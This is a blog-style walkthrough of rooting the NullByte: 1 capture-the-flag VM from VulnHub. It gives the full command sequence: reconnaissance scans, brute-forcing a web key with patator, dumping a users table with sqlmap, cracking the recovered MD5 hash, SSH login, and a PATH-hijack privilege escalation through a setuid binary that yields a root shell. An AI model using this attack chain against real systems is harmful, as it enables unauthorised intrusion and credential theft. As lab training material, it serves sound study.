It's that time again! Time to practice our penetration testing skills and tactics, that is. NullByte: 1 is another root-the-box type challenge that can be found on http://vulnhub.com. Like other challenges on the site, the goal is to read the flag hidden in the root directory of the server, but you have to exploit your way to the root first. For this walkthrough we'll be using a KALI 2.0 virtual machine as our attack host. Without further delay, let's dive into NullByte: 1!
Let's start by powering on the VM and doing a quick Nmap sweep to find the IP address that the box has been assigned. You'll recall from a previous blog (Application Security Testing Tutorial via Rooting Hackademics RTB1) that we'll be looking for a machine with a "Vmware" network card manufacturer. Yours may be different, depending on what software you're using to run the VM. We can also assume that this vulnerable machine will probably be running a webserver on port 80.
nmap -T4 -sV -p80 192.168.100.0/24
There we go! With an IP address it's time to check out what other services this box may be hosting. Running a more in-depth Nmap scan will give us that information.
nmap -T4 -A 192.168.100.131
Aside from RPC and SSH running on port 777, there's not much to go off of here. Let's see what pages the webserver is handing out by navigating to the IP address in a web browser.
With only a single static page, the next step is to run some directory brute-forcers and vulnerability scans against the web server. We've decided to do both a Nikto scan and a Dirb scan to see what kind of results we could find.
nikto -host >http://192.168.100.131
dirb http://192.168.100.131
Aside from a few directories and a unique header, there doesn't appear to be a whole lot going on that catches our attention. Let's save ourselves the time of manually checking these discovered pages and move on to the image on the homepage. Perhaps there was a hint hidden in this image, perhaps in the form of steganography.
We can wget the image from the webserver and, as a rule of thumb, check the exifdata before all else.
wget http://192.168.100.131/main.gif
exiftool main.gif
It seems we've lucked out and discovered what appears to be some sort of cipher hidden in the comment section of the EXIF data.
Now, admittedly, we spent a fair amount of time playing with this string. We tried using it as an SSH password, brute forcing known ciphers against it to see if it was in fact an encoded value, and even using it as a phpmyadmin password. After many failed attempts, however, we made a desperate attempt to use it as a directory name on the web server. Lo and behold, it worked!
http://192.168.100.131/KzMb5nVYJw
It appears to be a page asking for a key where, if we inspect the page source, we can find a hint that suggests brute-forcing may be the way to go. At this point, we could write a script to brute force the key, but let's not reinvent the wheel. In an attempt to broaden our horizons, we decided to use a tool on KALI 2.0 called Patator.
patator http_fuzz url=http://192.168.100.131/KzMb5nVYJw/index.php method=POST body='key=FILE0' 0=~/wordlists/rockyou.txt follow=1 accept_cookies=1 -x ignore:fgrep='invalid key'
In almost no time at all we have the proper key, "elite"! Inputting the key brings us to the following form:
Recalling that the hint from earlier said, "this form isn't connected to mysql," we jumped right into sqlmap.
sqlmap -u http://192.168.100.131/kzMb5nVYJw/420search.php?usrtosearch=test --dbs
Bingo. Noticing the database named "seth," let's enumerate the tables and then the columns.
sqlmap -u http://192.168.100.131/kzMb5nVYJw/420search.php?usrtosearch=test -D seth --tables
sqlmap -u http://192.168.100.131/kzMb5nVYJw/420search.php?usrtosearch=test -D seth -T users --columns
We have a good feeling about this database. Let's dump the values.
sqlmap -u http://192.168.100.131/kzMb5nVYJw/420search.php?usrtosearch=test -D seth -T users -C id,users,pass --dump
It looks that the pass for ramses is a hashed value at first peek, but we know a base64 string when we see one. Decoding the base64 value gives us the actual hash. Note we add a "=" to the string so that base64 can properly decode it.
echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 -d
With the actual MD5 hash we can use hashcat and the rockyou.txt wordlist to crack it:
echo "c6d6bd7ebf806f43c76acc3681703b81" > hash
hashcat -m 0 -a 0 hash ~/wordlists/rockyou.txt
Now with the user ramses and the password omega, it's time to figure out what these credentials are for. Trying to log into SSH with these credentials proves successful. Remember from earlier that the ssh port is 777.
ssh ramses@192.168.100.131 -p 777
We now have a shell on the system and the final step is to escalate to root to read the flag in /root/. We can start by checking the .bash_history for any hints.
cat .bash_history
It appears that a previous user was running a binary called procwatch in /var/www/backup.
Let's check out this procwatch binary.
Notice that the file is owned by root and has the sticky bit permission set. This must be our ticket to gaining root privileges. We can grab this file and debug it with gdb-peda to see how it's working. However, after running it, we have a feeling it's using the "ps" command in some way.
Notice the sections highlighted in yellow above; the binary is simply calling "ps" from the system as an argument. Knowing this, we should be able to easily exploit this by modifying the $PATH environment variable on the NullByte: 1 box. Let's rename /bin/sh to ps and point the PATH to it.
cd /var/www/backup
ln -s /bin/sh ps
export PATH=.:$PATH
./procwatch
id
And there we have it, a root shell!
Last but not least, let's read the flag.
